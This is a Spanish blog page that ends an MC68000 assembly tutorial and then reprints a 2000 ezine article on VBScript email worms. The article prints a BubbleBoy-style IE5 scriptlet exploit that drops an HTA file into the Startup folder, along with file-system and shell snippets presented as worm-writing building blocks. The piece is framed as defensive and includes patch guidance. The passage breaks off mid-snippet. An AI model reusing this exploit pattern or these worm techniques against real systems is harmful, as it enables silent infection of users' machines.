byte.</p> </td> </tr> </tbody> </table> <div class="line-block"> <div class="line"><br/></div> </div> </div> <div class="section" id="instruccion-de-no-operacion"> <h3>Instrucción de no operación</h3> <table border="1" class="table table-striped docutils"> <colgroup> <col width="13%"></col> <col width="35%"></col> <col width="52%"></col> </colgroup> <thead valign="bottom"> <tr><th class="head">Instrucción</th> <th class="head">Uso</th> <th class="head">Descripción</th> </tr> </thead> <tbody valign="top"> <tr><td><strong>NOP</strong></td> <td>NOP</td> <td><p class="first">No hace nada. Solo consume tiempo de reloj (4 ciclos).</p> <p class="last">Es útil para generar retrasos, reservas de espacio para futuras instrucciones o para substituir instrucciones sobrantes sin tener que modificar el resto del programa.</p> </td> </tr> </tbody> </table> <div class="line-block"> <div class="line"><br/></div> </div> </div> <div class="section" id="instrucciones-privilegiadas"> <h3>INSTRUCCIONES PRIVILEGIADAS</h3> <p>Las instrucciones privilegiadas solo son accesibles en modo supervisor.</p> <p>Estas instrucciones son muchas de las anteriores pero aplicadas a los registros SR (Registro de estado), CCR (Registro de Códigos de Condición) y USP (Puntero de Pila de Usuario). Ademas, tenemos estas otras:</p> <table border="1" class="table table-striped docutils"> <colgroup> <col width="13%"></col> <col width="35%"></col> <col width="52%"></col> </colgroup> <thead valign="bottom"> <tr><th class="head">Instrucción</th> <th class="head">Uso</th> <th class="head">Descripción</th> </tr> </thead> <tbody valign="top"> <tr><td>RESET</td> <td>RESET</td> <td>Activa la linea de reset o produce una excepción (el micro no se reinicializa).</td> </tr> <tr><td>RTE (Return of Exception)</td> <td>RTE</td> <td>Retorna de una interrupción, restaurando</td> </tr> <tr><td>STOP</td> <td>STOP #n</td> <td>Se pone #n en SR y se para la ejecución. Para reanudar la ejecución es necesaria una interrupción.</td> </tr> <tr><td>CHK</td> <td>CHK origen,D*</td> <td><p class="first">Compara un registro con unos limites.</p> <p>D* &lt; 0 o D* &gt; origen</p> <p class="last">Si fuera de esos limites, se genera una interrupción 6 (Tipo trampa)</p> </td> </tr> <tr><td>TRAP</td> <td>TRAP #n</td> <td>Se genera una interrupción trampa. #n esta entre 0 y 15, segun la prioridad.</td> </tr> <tr><td>TRAPV</td> <td>TRAPV</td> <td>Se genera una excepción de tipo trampa de orden 7 si el flag V (Overflow) esta a 1.</td> </tr> </tbody> </table> <div class="line-block"> <div class="line"><br/></div> </div> </div> </div> <div class="section" id="id5"> <span id="subr"></span><h2>7. Subrutinas</h2> <p>A veces hay operaciones que se repiten durante un programa, y habría que reescribir todo el código de nuevo, con el consiguiente gasto de memoria y el engorro de reescribirlo. Para evitar esto se crean subrutinas, que son pedazos de código que podemos llamar mediante instrucciones de salto o ramificación. Físicamente, en memoria solo está una vez, pero puede utilizarse cuantas veces sea necesario. El funcionamiento básico de una subrutina es el siguiente:</p> <p>Al llegar a una llamada a subrutina, se guarda en la pila la dirección a la que apunta ese momento el PC (Contador de programa). Entonces actualizamos el PC con la dirección de comienzo de la subrutina. Una vez termina la subrutina (Con la instruccion RTS o RTR), se recupera de la pila la direccion del PC y continuaremos en la siguiente instrucción a la llamada de la subrutina.</p> <div class="line-block"> <div class="line"><br/></div> </div> </div> <div class="section" id="id6"> <span id="exc"></span><h2>8. Excepciones</h2> <p>Las excepciones son acontecimientos, internos o externos al micro, que hacen que se interrumpa la ejecución para realizar una subrutina de atencion a esa excepción. Estas excepciones pueden ser:</p> <ul class="simple"> <li>Errores hardware</li> <li>Errores intenos</li> <li>Reset</li> <li>Ejecución paso a paso</li> <li>Interrupciones hardware</li> <li>Interrupciones software</li> </ul> <p>Cada excepcion tiene asociada una dirección de memoria donde se encuentra su vector de excepción. Ese vector contiene la dirección de comienzo de la rutina de excepción.</p> <div class="section" id="tabla-de-los-vectores-de-excepcion-del-mc68000"> <h3>TABLA DE LOS VECTORES DE EXCEPCION DEL MC68000</h3> <p>[Nota:] El reset ocupa 2 vectores de excepcion</p> <table border="1" class="table table-striped docutils"> <colgroup> <col width="16%"></col> <col width="16%"></col> <col width="69%"></col> </colgroup> <thead valign="bottom"> <tr><th class="head">Nº vector</th> <th class="head">Dirección</th> <th class="head">Asignación</th> </tr> </thead> <tbody valign="top"> <tr><td>0</td> <td>$000</td> <td>Reset: SSP (Punt. de pila supervisor) inicial.</td> </tr> <tr><td>-</td> <td>$004</td> <td>Reset: PC inicial.</td> </tr> <tr><td>2</td> <td>$008</td> <td>Error de bus.</td> </tr> <tr><td>3</td> <td>$00C</td> <td>Error de dirección.</td> </tr> <tr><td>4</td> <td>$010</td> <td>Instrucción ilegal.</td> </tr> <tr><td>5</td> <td>$014</td> <td>División por cero.</td> </tr> <tr><td>6</td> <td>$018</td> <td>Instrucción CHK.</td> </tr> <tr><td>7</td> <td>$01C</td> <td>Instrucción TRAP.</td> </tr> <tr><td>8</td> <td>$020</td> <td>Violación de privilegio.</td> </tr> <tr><td>9</td> <td>$024</td> <td>Traza.</td> </tr> <tr><td>10</td> <td>$028</td> <td>Instrucción emulada 1010.</td> </tr> <tr><td>11</td> <td>$02C</td> <td>Instrucción emulada 1111.</td> </tr> <tr><td>12</td> <td>$030</td> <td>No asignado. Reservado.</td> </tr> <tr><td>13</td> <td>$034</td> <td>No asignado. Reservado.</td> </tr> <tr><td>14</td> <td>$038</td> <td>No asignado. Reservado.</td> </tr> <tr><td>15</td> <td>$03C</td> <td>Vector de interrupción no inicializado.</td> </tr> <tr><td>6-23</td> <td>$044-$05C</td> <td>No asignado. Reservado.</td> </tr> <tr><td>24</td> <td>$060</td> <td>Interrupción espúrea (Especie de timeout).</td> </tr> <tr><td>25</td> <td>$064</td> <td>Autovector de Interrupción de nivel 1 (IRQ1).</td> </tr> <tr><td>26</td> <td>$068</td> <td>Autovector de Interrupción de nivel 2 (IRQ2).</td> </tr> <tr><td>27</td> <td>$06C</td> <td>Autovector de Interrupción de nivel 3 (IRQ3).</td> </tr> <tr><td>28</td> <td>$070</td> <td>Autovector de Interrupción de nivel 4 (IRQ4).</td> </tr> <tr><td>29</td> <td>$074</td> <td>Autovector de Interrupción de nivel 5 (IRQ5).</td> </tr> <tr><td>30</td> <td>$078</td> <td>Autovector de Interrupción de nivel 6 (IRQ6).</td> </tr> <tr><td>31</td> <td>$07C</td> <td>Autovector de Interrupción de nivel 7 (IRQ7).</td> </tr> <tr><td>32-47</td> <td>$080-$0BC</td> <td>Vectores de la instrucción TRAP (1-15).</td> </tr> <tr><td>48-63</td> <td>$0C0-$0FC</td> <td>No asignado. Reservado.</td> </tr> <tr><td>64-255</td> <td>$100-$3FC</td> <td>Vectores de interrupción de usuario.</td> </tr> </tbody> </table> <p>Dirección de excepción = Número de vector x 4</p> <div class="line-block"> <div class="line"><br/></div> </div> </div> </div> <div class="section" id="id7"> <span id="inte"></span><h2>9. Interrupciones</h2> <p>Las interrupciones son el mecanismo básico de sincronización del micro con dispositivos externos. Quizá sean una de las cosas mas importantes en un micro.</p> <p>Pueden ser generadas por hardware, a traves de las lineas IPL2 IPL1 e IPL0 o por software, mediante las instrucciones TRAP.</p> <p>Existe tambien una interrupción especial llamada Interrupción Espúrea, que sirve para evitar esperas infinitas cuando el micro lleva mucho tiempo esperando (por ejemplo, se activa una IRQ por ruido, pero realmente nadie pide la interrupción).</p> <p>Una interrupción funciona básicamente igual que una subrutina, con la diferencia de que se trabaja en modo supervisor (y por tanto, tambien utilizamos la pila de supervisor (SSP). ?Mecanismo de solicitud</p> <p>En las líneas de interrupción se codifica el nivel de prioridad de la interrupción. Se utilizan los 7 Autovectores (ya que estamos hablando de una interrupción generada externamente, por un periférico, por ejemplo).</p> <table border="1" class="table table-striped docutils"> <colgroup> <col width="13%"></col> <col width="13%"></col> <col width="13%"></col> <col width="62%"></col> </colgroup> <thead valign="bottom"> <tr><th class="head">IPL2</th> <th class="head">IPL1</th> <th class="head">IPL0</th> <th class="head">Nivel de prioridad</th> </tr> </thead> <tbody valign="top"> <tr><td>0</td> <td>0</td> <td>0</td> <td>7 (Máxima, no enmascarable)</td> </tr> <tr><td>0</td> <td>0</td> <td>1</td> <td>6</td> </tr> <tr><td>0</td> <td>1</td> <td>0</td> <td>5</td> </tr> <tr><td>0</td> <td>1</td> <td>1</td> <td>4</td> </tr> <tr><td>1</td> <td>0</td> <td>0</td> <td>3</td> </tr> <tr><td>1</td> <td>0</td> <td>1</td> <td>2</td> </tr> <tr><td>1</td> <td>1</td> <td>0</td> <td>1 (Mínima)</td> </tr> <tr><td>1</td> <td>1</td> <td>1</td> <td>No se solicita interrupción</td> </tr> </tbody> </table> <p>[Nota:] Como vemos, son lineas que se activan a nivel bajo (es decir, con un 0).</p> <p>Se suele utilizar un codificador para generar estos códigos a partir de las 7 IRQ, pero eso ya lo veremos en próximos artículos.</p> <div class="section" id="enmascaramiento"> <h3>Enmascaramiento</h3> <p>El enmascaramiento nos sirve para controlar si cuando se activa una interrupción y ya esta otra en ejecución se debe parar la primera o no. Esto se hace con la máscara de interrupción, codificada en el byte alto del registro de estado, como hemos visto anteriormente. Esta máscara se actualiza cuando se genera una interrupción, y si se genera otra, el nivel de prioridad de esta interrupción debe ser superior a la máscara, o se ignorará.</p> <div class="line-block"> <div class="line"><br/></div> </div> </div> </div> <div class="section" id="id8"> <span id="ejemplo"></span><h2>10. Ejemplo práctico</h2> <p>Aquí os dejo un pequeño ejercicio práctico para que veais como funciona el 68000. Tendreis que utilizar el simulador.</p> <p>No voy a explicar como funciona, porque es bastante intuitivo. Simplemente, teneis que compilar y linkar el código y ejecutarlo en el simulador. Dentro del simulador, antes de ejecutar debereis configurar las posiciones de memoria de los puertos de entrada y de salida que necesiteis (aquí uso como entrada $60000 y como salida $60001) y configurar la ventana para que muestre esos puertos y ver su contenido durante la ejecución. Tambien podeis ejecutar en modo traza.</p> <p>Bien, el objetivo es el siguiente:</p> <p>Tenemos un sistema de 8 leds conectados a la posicion de memoria $60000 de un sistema digital con un micro MC68000. Cada uno de esos leds se enciende cuando recibe un "1" lógico, y se apaga al recibir un "0". En el puerto de entrada, situado en la posicion $60001, si se pone un 1 los leds deben parpadear mientras ese 1 siga ahí. Si se pone un 2, los leds deben hacer un efecto estilo el coche fantástico Kit (bueno, los malotes si lo preferis le poneis leds verdes y ya esta :P). Si se pone cualquier otro dato, los leds continuarán apagados.</p> <p>Tambien tenemos un pulsador conectado a las lineas de interrupción, que genera una interrupción de nivel 2 (IRQ2). Si lo pulsamos, apagamos todos los leds.</p> <p>[Nota:] Cada led esta conectado a un bit del primer byte del puerto de salida.</p> <div class="highlight"><pre><span class="err">****</span> <span class="nf">SIMULACION</span> <span class="nv">CON</span> <span class="nv">LEDS</span> <span class="k">ABSOLUTE</span> <span class="k">ORG</span> <span class="kc">$</span><span class="mi">00000</span> <span class="nf">DC.L</span> <span class="kc">$</span><span class="mi">40000</span> <span class="o">*</span> <span class="nv">Inicializamos</span> <span class="nv">la</span> <span class="nb">SS</span><span class="nv">P</span> <span class="nf">DC.L</span> <span class="kc">$</span><span class="mi">25000</span> <span class="k">ORG</span> <span class="kc">$</span><span class="mi">68</span> <span class="o">*</span> <span class="nv">Inicializamos</span> <span class="nv">la</span> <span class="nv">IRQ2</span> <span class="p">(</span><span class="nv">Su</span> <span class="nv">autovector</span> <span class="nf">DC.L</span> <span class="kc">$</span><span class="mi">26000</span> <span class="o">*</span> <span class="nb">es</span> <span class="nv">el</span> <span class="kc">$</span><span class="mi">68</span><span class="p">)</span> <span class="nv">la</span> <span class="nb">di</span><span class="nv">reccion</span> <span class="nv">de</span> <span class="nv">comienzo</span> <span class="err">*</span> <span class="nf">de</span> <span class="nv">la</span> <span class="nv">rutina</span> <span class="nv">de</span> <span class="nv">interrupcion</span> <span class="nv">sera</span> <span class="err">*</span> <span class="nf">la</span> <span class="kc">$</span><span class="mi">26000</span> <span class="k">ORG</span> <span class="kc">$</span><span class="mi">25000</span> <span class="nf">MOVE.L</span> <span class="err">#</span><span class="kc">$</span><span class="mi">29000</span><span class="p">,</span><span class="nv">A7</span> <span class="o">*</span> <span class="nv">Inicializacion</span> <span class="nv">de</span> <span class="nb">SP</span> <span class="nf">INICIO</span> <span class="nf">CLR.L</span> <span class="nv">D0</span> <span class="o">*</span> <span class="nv">Ponemos</span> <span class="nv">a</span> <span class="mi">0</span> <span class="nv">D0</span> <span class="nf">MOVE.B</span> <span class="kc">$</span><span class="mi">60000</span><span class="p">,</span><span class="nv">D0</span> <span class="o">*</span> <span class="nv">Leer</span> <span class="nv">entrada</span> <span class="nf">CMPI.B</span> <span class="err">#</span><span class="mi">1</span><span class="p">,</span><span class="nv">D0</span> <span class="o">*</span> <span class="nb">Si</span> <span class="nb">es</span> <span class="mi">1</span><span class="nv">...</span> <span class="nf">BEQ</span> <span class="nv">PARPADEO</span> <span class="o">*</span> <span class="nv">...saltamos</span> <span class="nv">a</span> <span class="nv">parpadeo</span> <span class="nf">CMPI.B</span> <span class="err">#</span><span class="mi">2</span><span class="p">,</span><span class="nv">D0</span> <span class="o">*</span> <span class="nb">Si</span> <span class="nb">es</span> <span class="mi">2</span><span class="nv">...</span> <span class="nf">BEQ</span> <span class="nv">COCHE</span> <span class="o">*</span> <span class="nv">...saltamos</span> <span class="nv">a</span> <span class="nv">COCHE</span> <span class="nf">JMP</span> <span class="nv">INICIO</span> <span class="o">*</span> <span class="nb">Si</span><span class="nv">no</span><span class="p">,</span> <span class="nv">reiniciamos</span> <span class="err">****</span> <span class="nf">Bucle</span> <span class="nv">FOR</span> <span class="nv">de</span> <span class="kc">$</span><span class="nv">F</span> <span class="nv">a</span> <span class="kc">$</span><span class="mi">0</span> <span class="nf">WAIT</span> <span class="nf">MOVE.W</span> <span class="err">#</span><span class="kc">$</span><span class="nv">F</span><span class="p">,</span><span class="nv">D1</span> <span class="nf">ITER</span> <span class="kd">DB</span><span class="nv">F</span> <span class="nv">D1</span><span class="p">,</span><span class="nv">ITER</span> <span class="o">*</span> <span class="nf">RTS</span> <span class="err">****</span> <span class="nf">Subrutina</span> <span class="mi">1</span><span class="p">:</span> <span class="nv">Parpadeo</span> <span class="nf">PARPADEO</span> <span class="nf">MOVE.B</span> <span class="err">#</span><span class="kc">$</span><span class="nv">FF</span><span class="p">,</span><span class="kc">$</span><span class="mi">60001</span> <span class="o">*</span> <span class="nb">Es</span><span class="nv">cribir</span> <span class="mi">1</span><span class="err">'</span><span class="nv">s</span> <span class="nv">en</span> <span class="nv">el</span> <span class="kt">byte</span> <span class="nv">de</span> <span class="nv">salida</span> <span class="p">(</span><span class="mi">8</span> <span class="nv">LEDS</span><span class="p">)</span> <span class="nf">JSR</span> <span class="nv">WAIT</span> <span class="o">*</span> <span class="nv">Hacemos</span> <span class="nv">un</span> <span class="nv">retardo</span> <span class="p">(</span><span class="nv">Subrutina</span> <span class="nv">Bucle</span> <span class="nv">FOR</span><span class="p">)</span> <span class="nf">MOVE.B</span> <span class="err">#</span><span class="kc">$</span><span class="mi">00</span><span class="p">,</span><span class="kc">$</span><span class="mi">60001</span> <span class="o">*</span> <span class="nb">Es</span><span class="nv">cribir</span> <span class="mi">0</span><span class="err">'</span><span class="nv">s</span> <span class="nv">en</span> <span class="nv">salida</span> <span class="nf">CMPI.B</span> <span class="err">#</span><span class="mi">1</span><span class="p">,</span><span class="nv">D0</span> <span class="nf">BNE</span> <span class="nv">INICIO</span> <span class="nf">JSR</span> <span class="nv">WAIT</span> <span class="nf">JMP</span> <span class="nv">PARPADEO</span> <span class="err">***</span> <span class="nf">Subrutina</span> <span class="mi">2</span><span class="p">:</span> <span class="nv">Coche</span> <span class="nv">Fantastico</span> <span class="nf">COCHE</span> <span class="nf">MOVE</span> <span class="err">#</span><span class="mi">1</span><span class="p">,</span><span class="nv">D2</span> <span class="nf">IZQUIERDA</span> <span class="nf">MOVE.B</span> <span class="nv">D2</span><span class="p">,</span><span class="kc">$</span><span class="mi">60001</span> <span class="o">*</span> <span class="nv">Poner</span> <span class="mi">1</span> <span class="nv">en</span> <span class="nv">salida</span> <span class="nf">JSR</span> <span class="nv">WAIT</span> <span class="nf">CMPI.B</span> <span class="err">#</span><span class="mi">2</span><span class="p">,</span><span class="nv">D0</span> <span class="o">*</span> <span class="nv">Comprobar</span> <span class="nv">que</span> <span class="nv">D0</span> <span class="nb">si</span><span class="nv">gue</span> <span class="nb">si</span><span class="nv">endo</span> <span class="mi">2</span><span class="nv">...</span> <span class="nf">BNE</span> <span class="nv">INICIO</span> <span class="o">*</span> <span class="nv">...sino</span> <span class="nv">volvemos</span> <span class="nb">al</span> <span class="nv">comienzo</span> <span class="nf">MULU</span> <span class="err">#</span><span class="kc">$</span><span class="mi">2</span><span class="p">,</span><span class="nv">D2</span> <span class="o">*</span> <span class="nv">Multiplicamos</span> <span class="nv">por</span> <span class="mi">2</span> <span class="nv">D2</span><span class="p">,</span> <span class="nv">asi</span> <span class="nv">tenemos</span> <span class="nv">el</span> <span class="nb">si</span><span class="nv">guiente</span> <span class="nv">LED</span> <span class="err">*</span> <span class="nf">que</span> <span class="nv">serian</span> <span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">8</span><span class="p">,</span><span class="mi">16</span><span class="p">,</span><span class="mi">32</span><span class="p">,</span><span class="mi">64</span> <span class="nv">y</span> <span class="mi">128</span> <span class="nv">en</span> <span class="nv">binario</span> <span class="nf">CMP</span> <span class="err">#</span><span class="mi">128</span><span class="p">,</span><span class="nv">D2</span> <span class="o">*</span> <span class="nv">Se</span> <span class="nv">para</span> <span class="nv">en</span> <span class="nv">el</span> <span class="nv">ultimo</span> <span class="nv">bit</span> <span class="nv">encendido</span> <span class="nv">y</span> <span class="nv">cambia</span> <span class="nv">de</span> <span class="err">*</span> <span class="nf">sentido</span> <span class="nf">BEQ</span> <span class="nv">DERECHA</span> <span class="nf">JMP</span> <span class="nv">IZQUIERDA</span> <span class="nf">DERECHA</span> <span class="nf">MOVE.B</span> <span class="nv">D2</span><span class="p">,</span><span class="kc">$</span><span class="mi">60001</span> <span class="nf">JSR</span> <span class="nv">WAIT</span> <span class="nf">CMPI.B</span> <span class="err">#</span><span class="mi">2</span><span class="p">,</span><span class="nv">D0</span> <span class="nf">BNE</span> <span class="nv">INICIO</span> <span class="nf">DIVU</span> <span class="err">#</span><span class="kc">$</span><span class="mi">2</span><span class="p">,</span><span class="nv">D2</span> <span class="nf">CMP</span> <span class="err">#</span><span class="mi">1</span><span class="p">,</span><span class="nv">D2</span> <span class="o">*</span> <span class="nv">Se</span> <span class="nv">para</span> <span class="nv">en</span> <span class="nv">el</span> <span class="nv">primer</span> <span class="nv">bit</span> <span class="nv">encendido</span> <span class="nv">y</span> <span class="nv">cambia</span> <span class="nv">de</span> <span class="err">*</span> <span class="nf">sentido</span> <span class="nf">BEQ</span> <span class="nv">IZQUIERDA</span> <span class="nf">JMP</span> <span class="nv">DERECHA</span> <span class="k">ORG</span> <span class="kc">$</span><span class="mi">26000</span> <span class="o">*</span> <span class="nb">Di</span><span class="nv">reccion</span> <span class="nv">del</span> <span class="nv">codigo</span> <span class="nv">a</span> <span class="nv">continuacion</span> <span class="nf">PUESTACERO</span> <span class="nf">MOVE.W</span> <span class="err">#</span><span class="mi">0</span><span class="p">,</span><span class="nv">D0</span> <span class="o">*</span> <span class="nv">Poner</span> <span class="mi">0</span> <span class="nv">en</span> <span class="nv">D0</span> <span class="nf">RTE</span> <span class="nf">END</span> </pre></div> </div> I-Worms en Windows2000-11-26T00:00:00+01:00tag:antoniorodriguez.es,2000-11-26:i-worms-en-windows<p><em>Este artículo lo publiqué originalmente en el</em> <a class="reference external" href="/files/ns004.zip">número #4</a> <em>de NetSearch Ezine, una revista electrónica sobre seguridad informática en el 2000</em>.</p> <p>Todo lo expuesto aquí no funciona deliberadamente (el código está alterado para que no pueda ser ejecutado), y solo funcionaba en Windows 98. Lo escribí para demostrar una vulnerabilidad en dicho software y así saber como evitar ser infectado.</p> <p>En los tiempos que corren podemos leer en la prensa, en la televisión, la radio… como se habla mucho de virus de Internet, como Melissa, iloveyou…, que utilizan el correo electrónico para entrar en el sistema y “destrozarlo”.</p> <p>Estos gusanos se han extendido por todo el mundo, y son temidos por la sociedad, aunque realmente no son tan catastróficos como los pintan.</p> <p>Pero… ¿cual es la verdadera razón de que se hayan extendido a tan gran escala? Pues sencillamente que se extienden de la misma forma que se extendió en su día el famoso programa de Microsoft, Windows. Todos estos gusanos se extienden utilizando las herramientas que nos ofrece la propia Microsoft, ya que solo afectan a las aplicaciones de dicha empresa.</p> <p>El virus Melissa, tan famoso el año pasado, utilizaba el lenguaje de macros de Microsoft Word y la libreta de direcciones de Microsoft Outlook para sus fines. El mas reciente, iloveu, emplea el scripting de Microsoft Windows, y aprovecha la fabulosa opción de esconder las extensiones en el navegador del sistema para engañar al pobre usuario que sin tener conocimientos básicos sobre como protegerse de agresiones externas (de lo que no les culpo, ya que la culpa es de los medios, que cada vez más se empeñan en asociar la seguridad informática a los “chicos malos”). Bueno, me dejo de preambulos y comienzo este pequeño vistazo a algunas de las técnicas que se emplean para realizar estos ataques, dejando claro que el problema esta en la falta de seguridad del software, y no en la mente retorcida de ciertos cerebritos que se dedican a reventar máquinas ajenas por placer. Ni que decir tiene que todo lo que exponga aquí tiene como fin el conocer como proteger nuestra maquina de este tipo de ataques, no el difundir como utilizarlo con fines poco éticos. Por ello, ciertas partes del código que muestre estaran incompletas o capadas, para que los script-kiddies no encuentren aquí su toys’r’us particular.</p> <p>Aprobecho tambien este artículo para introducir un “nuevo” (por lo menos yo no he leido nada parecido hasta ahora) concepto al que he bautizado como “Troyano Pasivo”. Lo comentará al final de este artículo, y tambien adjuntare un sencillo pero poderoso ejemplo que he escrito, llamado DraZler.</p> <div class="section" id="visual-basic-script-vbs-los-batch-de-windows"> <h2>Visual Basic Script (VBS): Los batch de Windows</h2> <p>VBS es un lenguaje de scripting que posee Windows. Sería la versión más reducida de Visual Basic, seguida de VBA (Visual Basic para Aplicaciones). Son scripts muy parecidos a JavaScript, y pueden utilizarse como un batch o como script en una Web, permitiendonos utilizar los controles ActiveX en la Web.</p> <p>Una de las reglas básicas para comprometer un sistema es conseguir acceso al HD del ordenador. Por ello, los scripts de Java o de VB no permiten hacerlo desde una web. Bueno, miento. Si permiten hacerlo, pero nos saltaría el control ActiveX preguntando si queremos ejecutar ese código, ya que puede comprometer la seguridad de nuestra máquina.</p> <p>Una primera técnica, un tanto rudimentaria, a mi parecer, es la que utilizó el gusano iloveu. Se trata de enviar el script como un attachment en un correo electrónico. El incauto usuario posiblemente lo ejecutará, ya que si consulta la línea del remitente, vera la dirección de un amigo o familiar (ya que el virus se envía utilizando la libreta de direcciones de la máquina infectada).</p> <p>Tambien aprovecha las extensiones ocultas de Windows. Llama al archivo sample.txt.vbs, quedando a la vista únicamente sample.txt, de forma se podría pensar que nos han enviado un archivo de texto plano. Una vez que el archivo sea ejecutado, podemos hacer prácticamente cualquier cosa en esa máquina.</p> <p>Una técnica más eficiente, aunque no tan conocida es la que utiliza el gusano BubbleBoy. Se trata de aprovechar un bug en las librerias de scriptlet en Internet Explorer 5.0. Dicho fallo nos permite volcar un archivo de texto plano en el disco duro de la máquina sin que los controles de seguridad de ActiveX lo revelen. Dicho archivo, colocado de forma estratégica, nos permite tomar la máquina practicamente al 100%. Este archivo podría ser volcado en el directorio Inicio de Windows, como una Aplicacion HTML (.hta), de forma que al reiniciar la computadora este sería ejecutado.</p> <div class="highlight"><pre><span class="nt">&lt;object</span> <span class="na">classid=</span><span class="s">"clsid:06290BD5-48AA-11D2-8432-006008C3FBFC"</span> <span class="na">id=</span><span class="s">"Infect"</span><span class="nt">&gt;</span> <span class="nt">&lt;/object&gt;</span> <span class="nt">&lt;script </span><span class="na">language=</span><span class="s">"VBScript"</span><span class="nt">&gt;</span> <span class="nx">Infect</span><span class="p">.</span><span class="nx">Path</span> <span class="o">=</span><span class="s2">"C:\WINDOWS\MENU</span> <span class="s2">INICIO\PROGRAMAS\INICIO\DETONANTE.HTA"</span> <span class="nx">Infect</span><span class="p">.</span><span class="nx">Doc</span> <span class="o">=</span> <span class="nx">Chr</span><span class="p">(</span><span class="mi">13</span><span class="p">)</span> <span class="o">&amp;</span> <span class="s2">"Codigo"</span> <span class="o">&amp;</span> <span class="nx">Chr</span><span class="p">(</span><span class="mi">13</span><span class="p">)</span> <span class="nx">Infect</span><span class="p">.</span><span class="nx">Write</span> <span class="nt">&lt;/script&gt;</span> </pre></div> <p>El código anterior volcaría el archivo detonante.hta en el directorio inicio de Windows. En este caso, el archivo no contendría ningun código. Esto, insertado en un email en formato HTML o en una web, infectaría al indefenso usuario que lo recibiese con Outlook 5 o que visitase la web con el explorer. Es más, si la infección llega a través del email, ni siquiera es necesario abrir el mensaje, ya que el propio Outlook ejecuta el código Javascript o VBS que contenga al utilizar la vista previa.</p> <p>Al reiniciar el sistema, ese detonante seria ejecutado, abriendo una ventana, en la que se podría escribir un mensaje emulando un error. Y a partir de ahí, solo bastaría dar rienda suelta a nuestra imaginación.</p> <p>Para parchear esta vulnerabilidad:</p> <p><a class="reference external" href="http://support.microsoft.com/support/kb/articles/Q240/3/08.ASP">http://support.microsoft.com/support/kb/articles/Q240/3/08.ASP</a></p> <p>El último gusano “de moda” ha sido el Life Stages. Este virus aprovecha otra vulnerabilidad de nuestro querido Windows. Se trata de utilizar el Shell Scrap de Windows. Se trata de una posibilidad bastante útil que permite empaquetar varios archivos de proceso por lotes en uno solo. El fallo esta en que por defecto, la extensión de estos archivos (SHS) nunca se mostrará, aunque tengamos activado el Mostrar Extensiones. Esto se debe a la siguiente clave del registro (que viene por defecto :P):</p> <p>HKEY_CLASSES_ROOTShellScrapNeverShowExt</p> <p>Para solucionarlo no hay mas que renombrar esta clave por:</p> <p>HKEY_CLASSES_ROOTShellScrapAlwaysShowExt</p> </div> <div class="section" id="objetos-utiles-en-vbs"> <h2>Objetos útiles en VBS</h2> <p>Para escribir un gusano, un virus o un troyano en VBS, básicamente tenemos dos objetos importantes. Uno que nos permitira acceder al HD y otro al registro.</p> <p>=-=-= [ Scripting.FileSystemObject ]</p> <p>Este objeto contiene diversos metodos que nos permiten leer, y escribir en los dispositivos de almacenamiento masivo de la máquina.</p> <div class="highlight"><pre><span class="nx">Set</span> <span class="nx">ManipulacionHD</span> <span class="o">=</span> <span class="nx">CreateObject</span><span class="p">(</span><span class="err">“</span><span class="nx">Scripting</span><span class="p">.</span><span class="nx">FileSystemObject</span><span class="err">”</span><span class="p">)</span> </pre></div> <p>Para abrir un archivo de texto en modo lectura/escritura lo hariamos del siguente modo:</p> <div class="highlight"><pre><span class="nx">Set</span> <span class="nx">MiArchivo</span> <span class="o">=</span> <span class="nx">ManipulacionHD</span><span class="p">.</span><span class="nx">CreateObject</span><span class="p">(</span><span class="err">“</span><span class="nx">path</span><span class="o">/</span><span class="nx">del</span><span class="o">/</span><span class="nx">archivo</span><span class="err">”</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="kc">false</span><span class="p">)</span> </pre></div> <p>[ Nota: Esto no es un curso de VBS, me limitaré a exponer como se utilizan los metodos para nuestros objetivos, pero no explicare para que sirven todos los parametros. Para eso ya están los libros y los tutoriales que hay por Internet ]</p> <p>Para escribir en ese archivo:</p> <div class="highlight"><pre><span class="nx">MiArchivo</span><span class="p">.</span><span class="nx">WriteLine</span><span class="p">(</span><span class="err">“</span><span class="nx">Esta</span> <span class="nx">es</span> <span class="nx">la</span> <span class="nx">primera</span> <span class="nx">linea</span> <span class="nx">del</span> <span class="nx">archivo</span> <span class="nx">creado</span><span class="err">”</span><span class="p">)</span> <span class="nx">MiArchivo</span><span class="p">.</span><span class="nx">WriteLine</span><span class="p">(</span><span class="err">“</span><span class="nx">Esta</span> <span class="nx">es</span> <span class="nx">la</span> <span class="nx">segunda</span><span class="err">”</span><span class="p">)</span> </pre></div> <p>Para leer:</p> <div class="highlight"><pre><span class="nx">variable</span> <span class="o">=</span> <span class="nx">MiArchivo</span><span class="p">.</span><span class="nx">ReadLine</span><span class="p">()</span> </pre></div> <p>(el contenido de la variable seria “Esta es la primera linea del archivo”)</p> <p>Una vez terminada la secuencia, debemos cerrar el archivo para lectura escritura.</p> <div class="highlight"><pre><span class="nx">MiArchivo</span><span class="p">.</span><span class="nx">Close</span><span class="p">()</span> </pre></div> <p>Podemos tambien borrar un archivo:</p> <div class="highlight"><pre><span class="nx">ManipularHD</span><span class="p">.</span><span class="nx">DeleteFile</span><span class="p">(</span><span class="err">“</span><span class="nx">path</span><span class="err">\</span><span class="nx">del</span><span class="err">\</span><span class="nx">archivo</span><span class="err">”</span><span class="p">)</span> </pre></div> <p>=-=-= [ WScript.Shell ]</p> <p>Este objeto nos permite ejecutar programas y acceder al registro.</p> <div class="highlight"><pre><span class="nx">Set</span> <span class="nx">MiShell</span> <span class="o">=</span> <span class="nx">CreateObject</span><span class="p">(</span><span class="err">“</span><span class="nx">WScript</span><span class="p">.</span><span class="nx">Shell</span><span class="err">”</span><span class="p">)</span> </pre></div> <p>Para ejecutar un programa:</p> <div class="highlight"><pre><span class="nx">MiShell</span><span class="p">.</span><span class="nx">Run</span> <span class="err">“</span><span class="nx">path</span><span class="o">/</span><span class="nx">del</span><span class="o">/</span><span class="nx">binario</span><span class="err">”</span><span class="p">,</span><span class="err">”</span><span class="mi">0</span><span class="err">″</span> </pre></div> <p>El 0 indica que se debe ejecutar en segundo plano.</p> <p>Para escribir en el Registro:</p> <div class="highlight"><pre><span class="nx">MiShell</span><span class="p">.</span><span class="nx">RegWrite</span> <span class="err">“</span><span class="nx">HKEY_</span><span class="err">…\</span><span class="nx">ruta</span> <span class="nx">de</span> <span class="nx">la</span> <span class="nx">clave</span><span class="err">\</span><span class="nx">clave</span><span 